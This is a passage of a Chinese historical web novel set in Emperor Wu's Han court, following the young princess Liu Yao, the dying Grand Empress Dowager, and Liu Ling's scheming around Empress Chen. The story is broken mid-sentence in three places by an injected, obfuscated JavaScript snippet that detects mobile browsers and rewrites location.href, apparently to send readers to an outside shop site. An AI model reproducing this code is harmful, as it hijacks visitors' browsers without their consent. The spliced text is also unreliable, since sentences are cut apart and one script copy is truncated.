东方朔躬身笑道:“微臣原以为真是去招婿的,特意换了一身年轻干净的衣服,担心被淮南王嫌弃,去了才发现,微臣这样不算磕碜,大多是同龄人,可惜寻不到知音人,还好酒菜不错。宴席上不谈翁主、不谈求仙问道,反而说了许多国事,与我等讨论了一些陛下的事,到让微臣不那么拘谨了。” 刘彻挑了挑眉,对于淮南王有异心,他不觉得奇怪,只是有些惋惜罢了。 又是一个不省心的。 说实话,民间那些诸侯国十个有八个都有异心,就算现在没有,由着他们继续做大,未来也会成为大患。 刘彻:“说朕的事?” 东方朔:“淮南王惋惜长公主不是男儿。” 刘彻冷哼一声。 现在那些人也就只能拿这个来说他了。 14. 第 14 章 未央宫中,容姜托着刘彻的缯帛给太皇太后念上面的内容。 刘瑶趴在床榻旁,摸了摸太皇太后瘦削的胳膊,皮肤温凉干瘪,摸起来感受不到多少温度,和去年相比,今年脸上的皱纹更多了,气色也更差,油尽灯枯时,人总是老的特别厉害。 太皇太后感受到小孩灼热的体温,唇角经不住翘起,“阿瑶,皇帝就只让你带了一份缯帛过来吗?” 刘瑶的小肉手抓住她的大手,“阿瑶在呢!” 太皇太后轻轻勾了勾她的手指,她看不见,只能用这种方式来感知万物。 她与阿瑶一老一幼,算是人生的两个极端。 太皇太后拍了拍了床榻,示意她爬上来。 刘瑶将鞋一踢,两手并用地爬上了床榻,往她身边一靠,小嘴开合,有什么说什么,吐槽珍馐署的炖菜不好吃,刘彻抢她的烤肉,曹襄现下虽然有些瘦了,力气越来越大,她都打不过他…… 太皇太后听着稚童又嫩又甜的嗓音,感觉因为失眠而紧绷的神经也舒缓了些,听刘瑶说起东方朔赴宴参加淮南王宴会的事情,顿时挑了挑眉,“东方朔也去了?” 刘瑶:“是啊,不过他说淮南王没看上他,我看他平日那么臭屁的样子,也不想嫁!” 听到“嫁”这个词,殿内的宫侍纷纷忍笑。 太皇太后也经不住翘起嘴角,“你啊,男子要用‘娶’,女子才要‘嫁’。” 刘瑶:“东方朔说过了,都一样。” 太皇太后大手轻轻拍着她的软背,忽然冷不丁问道,“阿瑶,你觉得彻儿怨我吗?” “怨你?”刘瑶下意识仰头,对上太皇太后深邃的眼窝,看不清里面的情绪,“为什么要怨?我看阿父过得日子比我要好,他前段时间还打算扩充上林苑,我都没有。” 虽然朝政被太皇太后把持着,不过刘彻的日子过得也不苦,吃喝玩乐没闲着,上林苑圈地上万亩,仅仅是充作皇家游猎场所,里面亭台楼阁、珍奇异兽、名木异草应有尽有。 就这刘彻还打算继续扩充,对此刘瑶与东方朔保持一致看法,表示谴责。 作为子女,难道让她现在向太皇太后吐槽刘彻平时有多阳奉阴违? 她又不傻! “你啊,不懂。身为皇帝,都喜欢能乾坤独断,可是皇帝还太年轻。性子也有些冲动,我担心前脚刚走,后脚他就开始推行新政。”太皇太后幽幽叹气,对上刘瑶清澈的眸子,“你长大后,要帮忙劝着。” 刘瑶瞪大眼睛,举起小手,“太皇太后,我还小。俗话说,还有大人呢!” “……你啊!小机灵鬼!”太皇太后被她这话逗得止不住笑,“真是个机灵孩子。” 可惜不是阿娇的孩子。 她除了担心朝政,就是担心朝中的窦家人,还有阿嫖,阿娇,这母女俩半生过得太顺遂,不知什么叫退让。 刘瑶在太皇太后这里睡了一觉,醒来吃了一碗蜜水,然后精神奕奕地离开了。 容姜将她送出宫门,目送她消失在宫巷拐角后,转身进殿向太皇太后复命。 她看着面前的大汉权力最高掌控者,恭敬道:“太皇太后,长公主已经送回去了。” 太皇太后神色淡淡:“我听说近日刘陵与椒房殿走得近,你去寻人查查。” 容姜心头一跳,“喏!太皇太后,若是查出确实有不妥,是否要先告知馆陶大长公主?” “事情还没有定论,也许没有我想的那么遭。”太皇太后微叹道。 容姜闻言,宽慰道:“皇后性子虽然骄纵些,可也是从小受你教导,对上刘陵,应该有应对。” 太皇太后扶额头疼道:“那孩子是聪明,可是她有弱点,就怕被迷障了。” 阿娇这辈子过得顺遂,性子娇蛮些,不算坏事,就怕她对一些事钻了牛角尖,形成执念,一不小心做了错事。 …… 刘瑶先回了昭阳殿一趟,休息了一会儿,与卫子夫一起去未央宫看望刘彻。 卫子夫现在肚子已经很大了,走动走动对她与胎儿都有好处。 刘彻见到母女俩过来,笑道:“怎么这个时候过来了!” 刘瑶晃着脑袋,“当然是来看阿父干活!” 刘彻俯身将她抱起,屈指刮了刮的鼻子,“小促狭鬼!” 一行人进了内殿,卫子夫身边的子燕从纹漆食盒中端出小菜和炖好的鸡汤。 刘瑶看着自己面前的鸡汤,虽然闻着香,但她不喜欢。 刘彻见她不动手,有些奇怪,“怎么了?” “阿父!”刘瑶如同小大人一般叹了一口气, “你什么把张骞救回来!” 她对张骞从西域带回来的各种香料是望眼欲穿。 刘彻有些诧异,看向卫子夫,“是有人求到你面前了?” 张骞家世普通,在长安并无助力,也不排除有人与他关系好。 卫子夫摇了摇头,“妾身不知。” 实际上她对张骞不怎么了解,可能阿瑶与卫青玩耍时,听到的。 刘瑶闻言,拍了拍桌案,噘着嘴道:“明明阿父前段时间与舅父说话时,也在想张骞,为什么我不能提?” “……”刘彻嘴角微抽。 原来小家伙是从这里知道的。 只不过,他现在不知道张骞的情况,不知道对方是生是死。 派人从匈奴那边打探的消息也错综复杂…… 有人说张骞那行人都被杀了,有人说他成了匈奴王庭的坐上宾,有人说张骞被军臣单于给驱逐到塞外,被野狼给啃了…… 总之,没有好消息。 想都此,刘彻心情低沉不少,“朕也想找张骞,可目前不知道他的消息。” 主要是张骞被抓到了匈奴王庭,也打探不出消息,解救困难大,如果张骞真的归顺匈奴,对他的打击更是大。 刘瑶想了想,起身跑到刘彻跟前拍了拍他的肩膀,“阿父,你放心,张骞对你、对大汉都好,不会被人哄走的,你快去将他救回来吧。” 别真让他在匈奴王庭熬十多年才回来。 刘彻按了按眉心,“让朕想想。” 现下太皇太后眼看着身体渐弱,朝局表面上看着平稳,实际上暗地里波涛汹涌。 再说,他也要确定张骞是否安全,才能确定下面的行动。 刘瑶也知道,对于这种事,别说她现在是小孩子,就是东方朔那样的大人,劝刘彻也难。 这事不能急。 …… 等到用完餐后,卫子夫将刘瑶留下,在宫侍的搀扶下回去了。 刘瑶主动汇报了探望太皇太后的过程。 刘彻听到太皇太后那句“怨否?”,眸光微闪。 说实话,他心中肯定是怨过的,身为皇帝,朝政被自己的祖母把持着,朝堂上又都是外戚,让他举步维艰。 他有时候盼望自己能独立,有时候又害怕自己独立。 太皇太后是挡着他的那片天,同时也是替他遮风挡雨的那把伞。 他对她既有孺慕之情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694992|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又十分忌惮。 刘瑶扯了扯他的袖子,好奇道:“阿父,你觉得淮南王能找个什么样的女婿?总不能真找个东方朔那样的吧。” 刘彻思绪被拉回来,听到这话,失笑道:“怎么?你不喜欢东方朔,朕见你不是对东方朔很热情的吗?” 见面就喊“东方先生”,朝中可没有多少大臣有这个殊荣,让东方朔心中颇美。 刘瑶:“他太老了,不能和刘陵牵在一起,淮南王肯定不愿意,我听说,老人家不能气,容易死翘翘。” “老人家?死翘翘?”刘彻愣了一下,回想淮南王的相貌,神情一时复杂,“阿瑶,其实,淮南王今年才四十多岁,不足五旬!” “啊?”刘瑶傻眼,“四十多?也就比东方朔大一点点?” 她说话时,还十分形象地用手指头比划了一个微小的距离。 拜托!淮南王看起来须发都快白完了,她以为最起码七十了,这人现在告诉她,此人才四十多岁。 不是说淮南王极擅于养生,求仙问道,怎么将自己修成了小老头,还是就是这种审美? 刘彻忍笑,“也是大了不少,东方朔才三十出头。” 刘瑶都快将下巴惊掉了,觉得自己要趁此时间给她的年轻皇帝爹上一下紧箍咒,想到这里,她上前扯住刘彻的袍子,眼神认真:“阿父,你以后可别乱学,我怕等我长大,你也变成白胡子老头!” 现下朝野盛行黄老之学,达官显贵基本上都有这个想法。 刘彻俯身,屈指给了她一个小脑嘣,“没大没小,朕怎会落得淮南王的下场。” 刘瑶捂着额头,鼓起了腮帮,气的直跺脚。 果然人小没人权! “哼!阿父这么说,将来一定会被人骗!到时候,我要鄙视你!”她冲着他嚣张地龇起牙。 刘彻见状,眼皮直跳。 他怎么惹到阿瑶了,居然脾气这般大。 “好好好!朕若是被人骗了,一定让你笑个够。”刘彻敷衍地摸了摸她的头。 小孩子看着要炸毛,还是要顺一下。 刘瑶见他这么好说话,在殿内环顾一圈,从旁边一个矮架子的漆盒中找出一份空白缯帛,摊在他面前,“立字据!” 刘彻:…… “你又不识字,朕就是写了,你能认清吗?”他面露怀疑。 刘瑶小胳膊嚣张地插着腰,“阿母认识!舅父认识!皇太后也认识!” 刘彻懂了。 孩子的意思是,宫里不只他一个会识字。 …… 片刻后,刘瑶满意地拿着盖着刘彻私印的帛书,左右看了看,有些惋惜没有纸,否则她就能贴在未央宫,让刘彻时常警醒。 刘彻见她一脸满意,将人抱起,哄道:“阿瑶既然喜欢读书,不如朕教你识字好吗?” 刘瑶瞪大眼睛,歪身看了看桌案上的竹简,又环顾了四周,最后目光落到刘彻身上。 最终得出结论,她的学习环境和条件好差! 还有,她不觉得刘彻会是个好先生! 不过…… “好吧!”刘瑶沉重地点了点头。 就当是亲子游戏了! 她也确实要尽快学习认字! 她这一点头,让刘彻舒心了,但是后续坑了太子弟弟以及其他几个皇子。 有她这个“榜样”在那里树着,刘彻一直觉得自己的教学水准很高,为此后面的刘据等皇子为此吃了不少苦头,多次被自家亲爹嘲讽“朽木”。 15. 第 15 章 建元五年底,刘彻趁太皇太后病重之际,正式设立“五经博士”。 为了防止气到太皇太后,他一连三天都只敢在未央宫宫外问候,其他时候使唤刘瑶前去哄老人家。 刘瑶:…… 太皇太后也拿他这副赖皮的样子没办法。 刘瑶小手拍着她的背,哄道,“太皇太后,阿父坏,你要快些好起来,赶紧教训他!” “……你们都是一伙儿的。”太皇太后抬手轻轻点了点她的脑门。 刘瑶瘪嘴,顿时眼圈一红。 容姜连忙提醒,“太皇太后,长公主快要哭了。” 快哄吧! “好好好!你跟彻儿不是一伙儿。”太皇太后见小娃娃伤心了,连忙哄道。 话音刚落,容姜就将刘瑶双眸中的水雾瞬间消散,小红唇上翘。 容姜无奈地看着她。 小孩子的性子简直比六月的天还多变。 太皇太后将她揽在怀里,无神的双眸望着虚空,沉声道:“阿瑶,你喜欢黄老之学,还是尊崇儒术好?” 容姜:“太皇太后,长公主她不懂这些。” 刘瑶也了解老人家的失落,强势了大半辈子,临了自家孙儿和自己对着干。 刘瑶想了想,不知道如何安慰老人家,总不能告诉她“独尊儒术”对后世的影响,还有汉武帝的功绩吧。 “太皇太后,阿父也是好的,他不笨!”刘瑶双手握住她的一只手,干瘪微凉的肌理有些扎手,感觉怎么都暖不凉似的。 太皇太后:“我知道他不笨,有时候越是聪明人越容易办糊涂事。” 刘瑶:…… 这话很有道理,她赞同。 太皇太后对于刘彻瞒着她设立“五经博士”这事,虽然气恼,但是现在这个时候也不想落他的面子。 虽然太医和身边的宫人都安慰她马上就能好了,她活了这么大年纪,自己也有预感,知道自己时日无多,何必还压着皇帝,损害他的威权。 若是对皇帝打压太过,等到她离开后,朝局恐怕压不住,虽然她希望自己的家族能永享富贵,可是大汉的未来是放在她心中第一位。 …… 近来太皇太后眼看着不行,进宫来看她的人不少,尤其窦家人,馆陶大长公主、平阳长公主也经常进宫。 冬天的小胖崽曹襄看着像只小熊,看着夏日的减重做了无用功。 曹襄看到刘瑶,一个熊抱,刘瑶瞬间双脚离地。 刘瑶呆呆地看着他,朝天翻了一个白眼。 好吧,她想岔了,小胖崽减重还是有成效的,最起码身手和力气上来了。 曹襄:“阿瑶,阿母说我瘦了,你怎么胖了!” “……我胖了?”刘瑶愣住,她抬手捏了捏自己的脸。 嗯,小脸软和滑嫩,真想咬一口。 不过,她真的胖了吗?难道因为冬日吃了太多东西,弄得自己有些胖了? 曹襄见状,“胖了更好看了!” “哦……”刘瑶冷漠应了一声,扭了两下,示意他将自己放下来。 “阿瑶,你怎么了?”曹襄见她脸色有些不好看,将她放下,扯着她的小手,“……阿瑶胖了真的好看!” “……”刘瑶顿时眼睛瞪得更大了。 这个世间最伤害人的就是小孩子的实话! 守着他们的子燕见刘瑶如晒焉了的小花,连腮边的奶膘都失去光泽了,连忙哄道:“小郎君,长公主没胖,就是白了些。” 刘瑶闻言,眼含期待,“真的吗?” 曹襄半信半疑,凑近她看了看,“真的……吗?” “是的,是的,长公主年纪小,冬日经常在殿中闷着,就容易变白,你看看,长公主不好看吗?”子燕柔声哄道。 曹襄对上刘瑶明亮期待的眼睛,不由得点了点小脑袋,“阿瑶最好看!” 刘瑶见小孩上道,礼尚往来道:“彼此彼此!阿狙也好看。” 就是身板胖了些,算不上痴肥的地步,在一个不怎么严重的界限。 曹襄咧嘴笑道:“阿瑶也彼此,彼此!” 子燕见两个孩子又重新和好如初,松了一口气。 位于内殿的平阳长公主与卫子夫竖耳听着外面的动静,见两个孩子又开始玩闹起来,对视一笑。 平阳长公主:“托阿瑶的福,这段时间阿狙随着曹寿一起习武,前段时间去看南宫侯府看望小妹,这家伙以一敌三,将南宫侯的三个小孩打的哭嚎,让我颇为头疼。” 她所说的小妹也是皇太后王娡的女儿,是她的小妹,嫁给了南宫侯张坐,性子温婉。 与曹襄动手的三个孩子,两个六岁,一个七岁,三人也算是大小孩,居然没打得过曹襄。 本来一开始也是曹襄欺负他们三个,可是发生三个大孩子群殴曹襄的事后,有理也变成没理,弄得南宫侯哭笑不得,不仅不能算账,还要向他们母子俩赔罪。 尤其三个打一个都没打赢,更让南宫侯心塞。 平阳长公主带着曹襄离开后,听说三人又被南宫侯他们收拾了一顿,惹得平阳长公主有些不好意思。 曹襄闻言,得意地举了举小拳头,“阿瑶,我以后保护你!” 刘瑶见他这副尾巴都快要翘起来的臭屁模样,挑了挑小眉毛,“那你敢和我一起挑战阿父吗?” “舅父?”曹襄小脸一怔,看了看自己的拳头,有些纠结道:“我打不过舅父!” 而且舅父是皇帝,阿母说了,天下的人都怕他。 “敢?还是不敢?不敢是小狗!”刘瑶来了一个激将法。 曹襄一听,立马雄心壮志地挺胸:“敢!” 旁边看戏的平阳长公主、卫子夫愣住,不知道两个小家伙在唱什么戏。 确定后共同目标后,刘瑶也不耽搁,拉着曹襄就跑出了昭阳殿。 “长公主!小郎君!”子燕带着人连忙追上去。 平阳长公主摊手道:“他们离开了,咱们耳根也清净些。” 卫子夫扶着肚子,叹气道:“我就怕他们两个惹到了陛下。” “你啊!跟着陛下这么久,还没有看明白吗?阿瑶这性子就是他宠出来的,自己宠出来的女儿,自然是让他自己担着了。”平阳长公主倒是一脸轻松。 “可是小郎君也在啊!”卫子夫倒不是担心阿瑶,主要她拉着曹襄一起去,担心牵扯到曹襄。 平阳长公主:“阿狙才五岁,陛下难道还能与他动手?” 卫子夫:…… “好了,好了,不说他们了,我看你最近精神不振,是肚子里的孩子闹腾你了?”平阳长公主关切道。 现下太皇太后身体是沉疴难愈,熬的过这个冬日,也多半熬不过明年。 若是等明年陛下名副其实亲政之时,再有了儿子,来个双喜临门,当真是甚为圆满。 卫子夫缓了缓摇了摇头,“算不上难受,也不怎么舒服,公主也曾经生育过,自然知道这个阶段的状态。” 平阳长公主目露心疼,轻轻拍了拍她的手,“真是辛苦你了!” 卫子夫温和一笑,“不辛苦。妾身只希望新出生的孩儿能如阿瑶这般聪慧乖巧!” “乖巧?”平阳长公主掩唇忍笑,“阿瑶聪慧我认,但是乖巧,你不如用这词多夸夸我家阿狙。” 她可是听说刘瑶经常与陛下对着干的事情。 相反,阿狙可听阿瑶的话了,有时比她这个阿母的话都管用。 卫子夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13694993|144391||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻言,弯眉笑了笑。 她真的觉得阿瑶最是乖巧,虽然年纪尚小,可也懂事,从不胡闹,时常关心她,关心陛下,关心太皇太后与皇太后。 平阳长公主摇了摇头,相比在卫子夫眼里,刘瑶的所有一切都是好的,目光落到手上的金镯,她想起淮南王女儿送给她的那副金镯,“我听说刘陵与椒房殿那边走的很近,她来没来打扰你?” 卫子夫:“来看过几次,送了一些东西。平时她大概与皇后熟些,与我也就生疏不少。长公主可是知道了什么?” “没什么。”平阳长公主摇了摇头,现下卫子夫正值紧要时刻,还是不要说些污糟事惹她烦心。 “妾身知晓了。”卫子夫也看出平阳长公主有事瞒着她,但她知晓平阳长公主是为她好,她知道这个时候应该以什么为重。 平阳长公主欣慰地点头。 她最是欣赏卫子夫的性子,让人心安。 …… 椒房殿前,冷风裹着雪花蹿进殿中,雪花被靠近门口的火盆舔了一口,瞬间消失在空气中。 门口守着的内侍悄悄拢了拢裾袍,让自己暖和些,同时轻轻嗅了嗅空气中有些刺鼻的香味,感觉心口有些恶心,但是脑中又好像绷着一根弦,闻到这香味,脑中的那根弦总在颤动。 陈阿娇靠坐在坐塌上,膝上盖着一张雪色裘皮,秀眸看着刘陵将一些奇怪的药材扔进一尊小铜炉中。 随着药草燃尽,刘陵从怀里掏出一个巴掌大的紫檀盒子,打开盒子,里面躺着七八粒黑色丹丸,她将丹丸交给陈阿娇,“皇后,此乃我父王手下的道士炼制的丹药,配上这些药熏,您的不孕之症很快就能改善,而且这药能改善女子体质,肤色更为透亮,让你更加美丽。” 陈阿娇接过丹药,放到鼻端闻了闻,“你父王求仙问道这么些年,还是有了成果的,我吃了半月,夜晚睡眠果然好了。” 刘陵:“父王潜心研究了大半辈子,又召集了那么多异士和道人,自然有成果。” 陈阿娇将盒子盖上,“我若是真与陛下有了孩子,日后会重赏你。” 刘陵笑容加深,“多谢皇后!” 紧接着,她又从怀里掏出一个精致的布偶,布娃娃穿着红色曲裾,看样式应该是男子,将之递给陈阿娇,“等陛下来休息时,皇后可将此物放在床下,就能尽量保佑怀上的是男胎!” 陈阿娇这下有些迟疑,布偶此物涉及到巫蛊之术,而且刘陵又让她在陛下来的时候,她不敢冒这个险。 “不用了,本宫只求一个孩子,是男是女无所谓。”她没让人去接。 刘陵笑容微滞,很快恢复正常, “皇后这样想,这东西我也省下了,正好留给我用。” 陈阿娇一听,眉心轻蹙,给身边的袁梅使了眼色。 袁梅踌躇,“皇后。” 此事要三思啊! 陈阿娇顿时瞪眼。 刘陵见状,也不催,站在那里等着人家接。 “……”袁梅抿了抿唇,最终拗不过,上前接过布偶。 等刘陵离开,袁梅经不住劝道,“皇后,这东西咱们不清楚,谁知道刘陵安得什么心,你背着大长公主接触刘陵已经是冒险,这东西咱们还是不要了。” “慌什么!”陈阿娇拿过布偶,看也不看,直接扔到身边的火盆中。 “哗”的一下,火盆中的火一下子蹿了下来,火焰瞬间将布偶吞没。 袁梅傻眼。 既然皇后要将它毁了,干嘛还要。 陈阿娇:“她若是将这东西给了后宫其他女人,岂不是我的罪过!” 若是真有用,她就吃亏了,若是对陛下有害,那更让她后悔。 “……”袁梅垂首,“皇后英明!” 16. 第 16 章 刘瑶与曹襄屁颠屁颠跑到未央宫,但是正值刘彻与大臣们商讨事情。 刘彻见状,用笔写了两根竹片,让东方朔去偏殿教他们识字。 东方朔:…… 陛下什么时候真正看到他的才华,不是将他当成解闷逗乐的俳优。 东方朔带着两人到了偏殿,放下心中的郁闷,刚想与他们说话,发现两个孩子已经没影了,定睛一看,一大一小两人躲在一个架子后面,偷听陛下他们商议政务呢。 两个小孩看表情一脸懵懂,偏偏还想凑热闹。 东方朔走到二人身后,一手扯着一人,低声道:“莫要打扰陛下谈论政事!” 刘瑶仰头,稚声道:“我也在关心政事!” 曹襄:“我也是!我也能帮忙。” “……得了吧,在下都帮不上忙,二位觉得凭借你们的身板,能帮上吗?”东方朔用手比划了一下两个小孩现在不堪一击的体型。 然后他就收获了两个气鼓鼓的娃娃。 惹得东方朔发笑。 若是寻常孩子,他肯定不敢这样逗,一是怕将他们吓哭,二是担心他们听不懂。 但是陛下的长公主早慧,而且不容易哭。 逗弄两个孩子后,东方朔心情愉快了不少,开始给两人教学。 现在陛下宣扬儒学,给刘瑶他们的竹片写的则是论语上的两句话。 ——学而时习之,不亦说乎。 ——温故可知新,可以为师矣。 刘瑶对此熟悉,拿到手时,就认出来了。 曹襄小眉头皱成一团,双手捏着竹片,恨不得化身大熊猫,将它一口吞了,正好不用学习。 他是跟着刘瑶找舅父玩的,不是来学习的。 还好东方朔教授时,语言诙谐,掺杂了不少启蒙小故事,让曹襄觉得不那么枯燥,不过也之坚持了两刻钟,很快小脑袋就如小鸡啄米般,眼皮上下打架。 刘瑶推了两次,小家伙倒是醒了,不过不知道是不是东方朔的声音催眠效果太好,很快就恢复原样。 东方朔低头对上一脸无辜的刘瑶。 心中欣慰,还好还有一个更小的捧场。 虽然曹襄上课态度不怎么好,但是小脑袋瓜还算灵活,一堂课下来,也将两句话背下来了,让东方朔的哀怨少了些。 在快要结束时,东方朔教两人写自己的名字。 曹襄捧着写着自己名字的竹片,歪头看了看刘瑶的名字,顿时噘起了嘴,“我的名字好难写,阿瑶的名字比我的好。” 刘瑶闻言,踮脚拍了拍小胖崽的肩膀。 小胖崽的名字笔画确实多,尤其与她相比。 东方朔两手一摊,“小郎君的名字是平阳侯与平阳长公主起的,可怨不着在下。” 曹襄瘪嘴,“都怪阿父!我要让阿父给我改名字。” 东方朔嘴角一抽,担心自己被平阳侯算账,低声轻咳一声,“平阳侯其实也是疼爱小郎君,他不是给小郎君起了一个小名。” 说完,他又将“狙”写了出来,递给曹襄。 曹襄一看这个字好写,当即夸道:“这个名字好。” 好写又好学,笔画少。 东方朔摇头笑了笑,然后又给他们解释了“狙”的意思,又写了一个“猴”字。 曹襄拿着分别写着“狙”与“猴”的竹片,当即舍弃了笔画多的那个。 刘瑶捡起竹片,看着上面这字,脑海中联想起“侯”,所谓“李广难封”的“汉侯”。 刘彻那边与众大臣结束了政务,让人给众人上了蜜水补充体力,然后来到偏殿检验东方朔的教学成果。 他写下的两句论语两个孩子都背会了,而且还认识了自己的名字,颇为欣慰。 当即夸赞了两人和东方朔。 刘瑶捏着“猴”字竹片,仰头看着他,“阿父,咱们大汉的‘侯’值钱吗?可是为什么朝中会有那么多侯?” 她从出生到现在,见了不少王公大臣,几乎个个都有爵位,个个都是“侯”,为什么李广就封不了侯。 刘彻不解,看向东方朔,“阿瑶是什么意思?” 东方朔也愣了一下,转念就明白了刘瑶的意思,拱手忍笑,“陛下,刚刚我与长公主解释了小郎君小名的意思,长公主可能联想到了诸位列侯。” 曹襄的小名? 刘彻想了想,反应过来,大手接过刘瑶手中的竹片,薄唇经不住翘起,果然小孩子的想法千奇百怪。 让他如何解释,朝中封的侯爵那么多,但是不能等同而论,侯与侯之间是有区别的。 大汉的侯主要分两种,一个是列侯,分为功臣侯、王子侯、外戚侯,长安乃大汉的都城,达官显贵无数,列侯多,不怪阿瑶说好多‘侯’。 另外一种是关内侯,多以军功封爵,又称准列侯,是一种荣誉性爵位,只有封号,没有封地。 可以说成了关内侯后,有极大概率继续晋封列侯。 按照实际情况,关内侯的权利与待遇不能与列侯相比,但是能获封关内侯的,大多都是军功赫赫或者有大功绩的。 若是可以,他也不想要这么多列侯,多些关内侯多好,朝廷压力小,他也轻松。 听完解释,刘瑶不由得感慨,这个时候封侯的路子还是很多的。 功臣侯、王子侯、外戚侯,李广也是有名的将领,怎么会一个都摸不到,听说他家也是有名的大世家,怎么一个都没有摊上。 …… 与内殿一墙之隔的众臣听着里面的对话,目光落到其中一名中年汉子身上。 此人身高八尺,虎背熊腰,相貌英武,乃是陇西将门世家李家的李广。 李广出身富贵,骑马射箭造诣极深,曾经与文帝一起出行,得到文帝的赞赏——如令子当高帝时,万户侯岂足道哉! 这句无心鼓励,似乎成了李广的执念,与他亲近的大臣都知道李广想封侯。 李广看出大家眼神中的意思,面色有些尴尬,原来他的想法不少人知道啊! 他确实想封侯,奈何自己运气不好,等自己长大时,大汉七国之乱已经平定,内部没有多少战争,对外只有匈奴,但是目前又没有实力与匈奴开战。 至今为止,与匈奴作战大多是防御性战争,这些又积攒不了多少军功,着实让李广也头疼。 众人见李广有些窘迫,连忙佯装不知地转移视线。 …… 偏殿中,刘瑶仰头道:“阿父,我也能封侯吗?” 听刘彻这么已解释,似乎封侯很简单,但又是很难! 刘彻失笑,“你现在是长公主,位同诸侯,有自己的食邑。” 一旁的曹襄也加入,“舅父,我呢!” 刘彻大笑,拍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所谓汤沐邑,也是封地的一种,是属于公主的特权,不同于诸侯要留居封地亲自治理,公主不用去封地,封地会有专门的官吏帮助公主府进行打理,封地的税赋不用上缴国家。 用另外一种浅显说法,就是相当于给了公主一个超大钱包。 当利县位于东莱郡下辖的县城,产盐丰富,所得赋税压根不用说。 而且历朝历代公主封地食邑中,得封盐邑的只有刘瑶一人。 刘瑶听得小脸发烫,小手捧着脸颊,喜的眼眶都水润润的,“阿父真好!” 她有常识的,知道古代盐有多赚钱。 阿父真的好大方! 有了这么多钱,她可以尽情折腾了。 将来也请阿父再接再厉,不要让她失望。 卫子夫见她欢喜的快要飞起来,好笑地点了点她的小鼻子,“对啊!当利长公主!” 刘瑶愣了一下,反应过来。 是啊,她的食邑在当利县,旁人应该喊她当利长公主。 …… 十一月,卫子夫诞下第二位公主。 刘彻有些失落,他多想在太皇太后在临走之前见到他的儿子。 17. 第 17 章 十一月最后一天,在长安待了许久的淮南王离开,不过他的女儿刘陵则是留下来。 次日傍晚,长安城上空的天际燃起了大片血红色的红霞,加上冷瑟的空气,让人心中有些打颤。 暗色余晖中,馆陶大长公主带着一群宫侍气势汹汹走进椒房殿,夕阳照射下,馆陶大长公主面色愈发阴沉,唇边的胭脂仿佛染了血似的。 守卫的宫侍纷纷行礼,同时心里打颤,不清楚到底发生何事。 可是馆陶大长公主这架势,明显不是好事。 “阿娇呢!”馆陶大长公主站在宫殿门口,并没有进去。 守着门口的小宫女颤颤巍巍道:“皇后在与刘陵在里面说事,不让奴婢等人进去。” “啪!” 馆陶大长公主扬手给了对方一巴掌。 小宫女被这道掌风扫的差点倒地,小脸霎那间肿的老高,五个鲜红的巴掌印牢牢刻在上面。 世界瞬间安静,椒房殿的宫使顿时连大气都不敢出。 小宫女眼眶瞬间盈满泪水,不敢捂脸,努力绷着嘴角,不敢妄动。 一名中年宫女连忙挡在她面前,哄道:“大长公主息怒,小云她不懂事,罚一下就行,别伤到了您的手。她一个小宫女,确实拦不住皇后。” “哼!”馆陶大长公主狠狠甩袖,目光阴翳地看向殿内,怒声道:“阿娇!” 陈阿娇与刘陵出来时,差点与进殿的馆陶大长公主撞上。 “阿母!”陈阿娇面露心虚,讪讪地扯了扯她的袖子。 而刘陵正好对上馆陶大长公主满是怒火的双眸,樱唇上翘的弧度压了一些,正欲开口,就见馆大长公主唇角勾起一个冷笑,她眉心微蹙,心中警惕起来。 “啪!” 清脆的巴掌声在殿内响起,震得众人心头一跳,纷纷低着头。 “阿母!”陈阿娇愕然,怔怔地看着馆陶大长公主一巴掌毫不客气地扇到刘陵脸上。 刘陵被这一巴掌扇的,脸都歪了,指印深深印在脸上,脸颊的血色褪去,一下子将她的体面给摧毁。 她就如抽了魂魄的躯壳,僵着身子站在那里,任由脸上的指印展现在众人面前。 馆陶大长公主甩了甩震麻的手,接过侍女的拍子擦了擦手,恨恨道:“刘陵,我说过,你若是对阿娇出手,我必不会放过你。” 陈阿娇这时候反应过来,连忙上前查看刘陵脸上的巴掌印,尤其见往日嬉笑的刘陵这副面无表情的样子,神情更是羞恼,“阿母,你无缘无故打刘陵做什么?” “没事!”刘陵躲过陈阿娇给她擦脸的帕子,用舌尖默默顶着肿胀的腮帮,藏在大袖中的双手死死地绞着衣料,提醒自己现在不能惹馆陶大长公主。 馆陶大长公主没接陈阿娇的话,抬脚走进殿内。 陈阿娇扯着刘陵也跟了上去,她要问清楚,阿母为什么这样做。 刘陵挣扎了一下,最终受不住陈阿娇的力气,也进了殿,不过她进殿时,给了自己的侍女使眼色,让她想办法去找人求救。 无论是去长乐宫找太皇太后、皇太后,还是去未央宫找陛下都行。 等进了内殿,馆陶大长公主身边的女官将闲杂人等都清下后,馆陶大长公主向陈阿娇伸了伸手,“过来!” “阿母!你不说清楚,我不过去。”陈阿娇下意识抬脚,可是脑海中闪现刚才馆陶大长公主的动作,又止住了脚步。 